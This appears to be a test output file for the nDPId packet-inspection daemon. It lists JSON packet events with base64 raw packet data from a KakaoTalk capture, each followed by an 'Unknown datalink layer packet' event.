+00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1435,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":666876,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF8AAEAAQBHaQwoYUrwByQGuKBxaBgBLKYSAbDKhfq5IQ1Sapdp0XZ7+I09ThodJ32KUqksv\/xdKMW6hwL3lYyc8WAp8KzyJ04b+tQqRiaM+1L0Het0JsVNMsQot"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1435,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1436,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":706183,"pkt_caplen":104,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":104,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFgAAEAAQBHaSgoYUrwByQGuKBxaBgBEN\/mAbDKifq5MA1SapdrK0IAEqbD\/+bnCwMUwhcCGhIxeSwyoPkmMiz4YtuBoLzkaBC5vxD+H4Xgnk1FUrkQ="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1436,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00444{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1437,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":716956,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFkAAEAAPxHbSQoYUrwByQGuLDhaBABFe2mAbFAciz7qWguGVRm9mpt90lycwzmclrEW3+bUUKwU3QfxYTQ5QVj8og56lk1C2uLI+ZK1xEs0YrxyHPCN"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1437,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1438,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":812140,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFkAAEAAPxHbSQoYUrwByQGuLDhaBABFAhyAbFAdiz7uGguGVRlq\/DGCnmopYYr\/Ohfo7+iIFOWC+Fjk9hIM+ix9yNutyvzGByG9pKkqEvj9RJjNra8Z"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1438,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00509{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1439,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":812323,"pkt_caplen":151,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":151,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIcAAEAAPxHbGwoYUrwByQGuLDhaBABzCfOAbFAeiz7x2guGVRmvT2d682jBPz5CwcnlhqeAC2Yod1udVM7zhN1JQl9o24UHzuZ2zUJUYO2T4WpKXktfsys8Wd+OdZVwFYIYA\/mr3VUWoPAZwIeCEI8w6otYthp85HiOL84zide7NuOUMA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1439,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00440{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1440,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":818701,"pkt_caplen":102,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":102,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFYAAEAAQBHaTAoYUrwByQGuKBxaBgBCiWKAbDKjfq5Pw1SapdrFWnS2znAkaIQX2itkolc4SqMtYNKzoAJSP7dEQk0YSg78T4jI2probi4UpDys"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1440,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1441,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":825782,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFsAAEAAQBHaRwoYUrwByQGuKBxaBgBHm7iAbDKkfq5Tg1Sapdpocb2fQ7KORrgBKgYXvW7MESGAfyI8pw4ZaVksDdKgC5zqSAJYLoBJrLMK7HTvrsvCyMo="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1441,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00458{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1442,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":900458,"pkt_caplen":113,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":113,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGEAAEAAQBHaQQoYUrwByQGuKBxaBgBNpxuAbDKlfq5XQ1Sapdo5PfRsSxuOLpYoiHgSfeeszbOtCXyaPlxw7AZlE6\/GW0FiWijcnNcD5uXpZ8sMV9Lye\/JHQSfUPw8="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1442,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00570{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1443,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":912512,"pkt_caplen":198,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":198,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALYAAEAAPxHa7AoYUrwByQGuLDhaBACi6ziAbFAfiz71mguGVRncdih5WgargxwmnmevuO2AE9yLPmi5KVCXs2nf51+V82CDLVaOCuuGTq7WXNiohRZi\/1QH3uHMHH7eXF5g+PB0tD\/IpLWlukQ0ukJjSzQP1JGI6wKPScWELswXc6kjCkF2pazeSwKjoi2OaCjpScImTitakZRkSCL9LQNT2meOxFeGURc7jmk09HbwOFFw"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1443,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00580{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1444,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":912635,"pkt_caplen":204,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":204,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALwAAEAAPxHa5goYUrwByQGuLDhaBACokeGAbFAgiz75WguGVRkgP6MU6d99nYSEbs+FtjZmLpaMhZf1ScPeW1L5PAjmre1oNTe\/flkNk6v8\/uSjALMzEu\/MxCY0nRlmExW+bFCn7mouQiX9S5SxcrosBJH9t\/KlBAod2KaQLv0zq1qplBAV+6w+9fOQFfEAqpP3x+jcoFz6BlXgGnndrvVW1ljrMujswNb3nIzAc3FoK90eUArAEJmI"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1444,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00455{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1445,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":955695,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF0AAEAAHBH+HQHJAa4KGFK8WgYoHABJHbKAbE\/niz4jmguGVRm5z0FHafiqQR24G1KFx0IXPLUj\/oYeVKZU+fYRCAGNds+DKuzXaEdQYh6lm0FG7bcc\/uJbpA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1445,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00460{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1446,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":955939,"pkt_caplen":115,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":115,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGMAAEAAHRH9FwHJAa4KGFK8WgQsOABP9qSAbDJtfq2FQ1SapdrGqKXP0DNzNnCJfTzyEJvOHQNy7JLDTHKTnkapd6E2lJM1m68svuyNhZdBCxNvGEgm8ji0wZth2GATMA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1446,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1447,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":956793,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFsAAEAAHRH9HwHJAa4KGFK8WgQsOABH+96AbDJufq2JA1SapdoYRfcuzgm+moA\/xphiKk67xdQQdYGEjHRn9i1lodeSbU8ltEdXM9SibXBELqfUYadG4PU="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1447,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00454{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1448,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":957343,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF0AAEAAHBH+HQHJAa4KGFK8WgYoHABJZVqAbE\/oiz4nWguGVRkiR77NGiChHz2aFG0GWao\/lGYMA6YNkB48thhabzgRow4VUaCBGgs4NloXYTN+pfzuWiz4Wg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1448,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1449,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":957465,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFoAAEAAHBH+IAHJAa4KGFK8WgYoHABG1seAbE\/piz4rGguGVRlc5WUhgdtOgMw4j2iJ3Df5zYLo6Gf7yKpmLnrjTAlYqqfShaOvgPxag6ZTtcMoGy2zKg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1449,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1450,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":959357,"pkt_caplen":104,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":104,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFgAAEAAHRH9IgHJAa4KGFK8WgQsOABEG1GAbDJvfq2Mw1SapdqMlbXCYBk45\/+v2OKYaVweUiKVyS9YvKoxByjw\/ox1lQeDCL\/Qkht2\/7OFeAYPcsk="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1450,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00545{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1451,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":965247,"pkt_caplen":175,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":175,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJ8AAEAAQBHaAwoYUrwByQGuKBxaBgCLjuWAbDKmfq5bA1Sapdpo\/\/5qL2zpUvne7SQ0h0+eGhMMYhqlqe4tpFqv67wAboQ6YGMzR0JlfY\/8kG7EEgsm9+HauOwYeuM9YEDFoNvNn5EDV\/qVbnLKrU5WI5yK\/b6akZhmYorKrF8f8frxXpHNSfD700ywvyQqHEJfiYUbGr98fVauFw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1451,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00527{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1452,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":971350,"pkt_caplen":165,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":165,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJUAAEAAHBH95QHJAa4KGFK8WgYoHACBNWSAbE\/qiz4u2guGVRkHFd27IpYNg37rSXR2rdAJxFs++QHVg9vJ1F9kvS3T9f7lefiHAbsYXEWvYXqiNVUZ6Dool3OxgouyTDh+sZKjFb3\/09B6DK59OBDk8yRFSTsz4vP\/ZFrVsPV68NDjDynG7fZdCffdsvf1r0UO"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1452,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1453,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":983466,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFoAAEAAHRH9IAHJAa4KGFK8WgQsOABGVuiAbDJwfq2Qg1Sapdo+XvXWjT5VLXhcp58uSMOZa7E1OWJqwUCumqVDZQu5Kd2b9KHFbYEWvyz49DmAbQAu4w=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1453,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1454,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":984076,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFoAAEAAHRH9IAHJAa4KGFK8WgQsOABGIMiAbDJxfq2UQ1SapdprWeOMQvkDHjCdHQOm8xaWJtk6m4shLgKoTfZinybrTNYKWSpIiR7NKj6DyrQFx5eTuQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1454,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00598{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1455,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069192,"pkt_ts_usec":999549,"pkt_caplen":216,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":216,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMgAAEAAHBH9sgHJAa4KGFK8WgYoHAC0\/xeAbE\/riz4ymguGVRmPVqABirWbkxC9AwaLBq9rg\/c+HfOf30GM1Ppzyta8A+2XYtUc5d1pocXMdrHVlduj2DLGSfN+iroBvWo+sZ1zX4xWHG3jxWTQHs1Cjh4kZj\/g0wvnOp6uUkAMeR87f2RhqKYSiZFkjoEei\/MvvMDkQVz75Rltgq39\/fL6SnHH1aposMUpGtsZJS6dnyhiyWtooFDF7XuqUW+RP8AzYgzT"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1455,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00530{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1456,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":4798,"pkt_caplen":170,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":170,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJoAAEAAQBHaCAoYUrwByQGuKBxaBgCGwmyAbDKnfq5ew1SapdqHghOmHPuH50Y8ubxgQpeZslrva8BZOo7CudOCWD9v3GdQrgqhpdvigDzT+7pQ6vmXFYWWG5Q7qG+1aU8dC81CTBeenxa0BInUrx7TgZmtbMnWxT0Cgx2broaAkR5Dm0RxGgCluA4a1AD+vV4mkAwZ4ow="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1456,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00568{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1457,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":8063,"pkt_caplen":197,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":197,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALUAAEAAPxHa7QoYUrwByQGuLDhaBAChAkuAbFAhiz79GguGVRmhEZlKZCr5iVX8ZFM+i1vvX5R3lMFCtFR4avR5y3HofsTREDqHPMUHxbQUhWoOUwAi6b\/5IT2\/2F6tPu2F+KY8M+NujnRALBRuwygNXYy3V5KM6QWMyn3JqIED2cz7TvtZNmG6SJ9mUOXUwKIFeemBaNyxxArxExW6cB5Ia8bgZMc6I2l47pxgBFLyais="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1457,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00552{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1458,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":82831,"pkt_caplen":186,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":186,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKoAAEAAQBHZ+AoYUrwByQGuKBxaBgCWE8yAbDKofq5ig1SapdrMwJ9MrQL6p+TaYegSnMh2MzA5TL\/gFOvOo4qSIvrZ4ivd0QuMRlTbiUf4GTU3pyhG8VmaJBGmodTYWDhhKELaO1LLjQA0KeIcvk6003pJ4u4NVtpFwI69P47x1RxfpVHworPle+40iLXqpbu3suV0i3NN6k+HHl1ebIvAMLNe1l++"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1458,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00534{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1459,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":114112,"pkt_caplen":169,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":169,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJkAAEAAPxHbCQoYUrwByQGuLDhaBACFhmCAbFAiiz8A2guGVRm9foArQPHOm6NV71qqO1BiVFsEdT5a4rrLQ3iBjapzTk7PMmc4YBfYAl1yI92b4g2OJaI\/0xGAdbCDwOi5ATeU5lmiTBbcP\/i8rgSwdL6dEuGRBhMfE6SGDmNFhr0wGkMtWVYz2381W9U5H0HaW1t+CA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1459,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00579{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1460,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":114264,"pkt_caplen":203,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":203,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALsAAEAAPxHa5woYUrwByQGuLDhaBACnAhaAbFAjiz8EmguGVRmSkis5DI2PEdgc\/csLcET7hD4SKvX8fV1Vym0GT2ysnrbHO5Lz1kB4ILny4ZK9bUERPrc6yU3GGWCC4j7MX9RtSfbjx1GTYeE6754pyHTEvQjjAOSTzJ03muKZTArRwJE1gsl+D8eiiu+abWbB1+ctBgVBf\/mq\/otuBeprK8rAdR44+RfY4FVRQaQcOUXmnjnYyHk="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1460,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00543{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1461,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":164374,"pkt_caplen":176,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":176,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKAAAEAAQBHaAgoYUrwByQGuKBxaBgCMZfmAbDKpfq5mQ1Sapdo\/fwkZkmIZ3fbN+WbVi9d4oJjDTrfIELF9O8TIoeWewnCtsxcQ2Evxsli3WUmUw0PShMbDxqD7ZAKeqV+NMJA2\/9u2RwJaP9IIgH0b9cMuXBzbihAa3+B\/4oFg9kPrjcfNr8BGdFFZMcqt1GKKuq5C7sTlyBTPUKI="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1461,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00608{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1462,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":199439,"pkt_caplen":223,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":223,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAM8AAEAAHBH9qwHJAa4KGFK8WgYoHAC7sc+AbE\/siz42WguGVRnybEUY0XOKZcOAiGFjmTlRYs2aV2zUqHGAhOclSVc6seCtYY\/pM7uO10HDY1y8hjxM19ipWFN77\/7Kp7jjzd2PbnU06T3UoK6UlxyhvxucCLIW2V3gGDCMZhugZ79T6th3ehLtTljRGdrGP8CRiioihKnF\/wysvbVCLWVtCb6Swl+fgX9I9Ju2QejJSSClsO1RpLLXq1B+GgcgdZiH50uWGY+0Lzx2WA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1462,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00541{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1463,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":206641,"pkt_caplen":175,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":175,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJ8AAEAAQBHaAwoYUrwByQGuKBxaBgCLrX+AbDKqfq5qA1SapdpEJWSJXP23K2goCWhJYs\/MXLgXHxbxUEXNNxY9uFHB0LQ+cZl6LjZshoRjZ0rDYbhI+Jq0jr68EDPDRGHCq7AhN5ma0+r6XyNtsGfE8qpSD7NdyENsCQmnBF69wQxGTTFZ4uLuIRXFOdX2Rb+TbxWwVWu4XqTE9A=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1463,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00572{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1464,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":213690,"pkt_caplen":199,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":199,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALcAAEAAPxHa6woYUrwByQGuLDhaBACjECqAbFAkiz8IWguGVRkVeTJIfm7YwHj20sgGzLO81IM+rLWHsawHXArwJbWN8p17SdEx46bPEOLQBCaAuiyTBRZcl66mr2rJc9xQSNwOR069RTPTUixTVqd0fnt28GA8ZfmIMRyoDRf0cyca66TZWPTF598CqeC6KdWVQRWM0xALwF7lXS4BuZeDYpi0pybs77GXxUjNouHxym3jPA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1464,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00586{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1465,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":213843,"pkt_caplen":207,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":207,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAL8AAEAAPxHa4woYUrwByQGuLDhaBACrSRmAbFAliz8MGguGVRlpsMqQPJX7z7T4CHP2wSdtMyVR5z9yc1mtnq4JVFVayx6AANSMh8AtKB8JHkw4vZ+T6RkVy6J2ORXtsAaNP8rW84aiN66vuftDCAvqFr7tr6yOY9rE0F30Al33\/1W73Qpu5zQGCTCjpo4MJBOa\/Cej\/\/Srq77N3REBVdd+lSeNHE8dctKU\/RFoKF+Qrn9u2z+uDbwxe\/2s"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1465,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1466,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069193,"pkt_ts_usec":245124,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFsAAEAAHRH9HwHJAa4KGFK8WgQsOABHH0+AbDJyfq2YA1SapdpBpuMiT\/mL0YjCE8an23NZ3\/0BX8y69TRi9f\/+\/FJ+1poj5x1HwCvMtEZxihO6OnY7+Vc="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1466,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 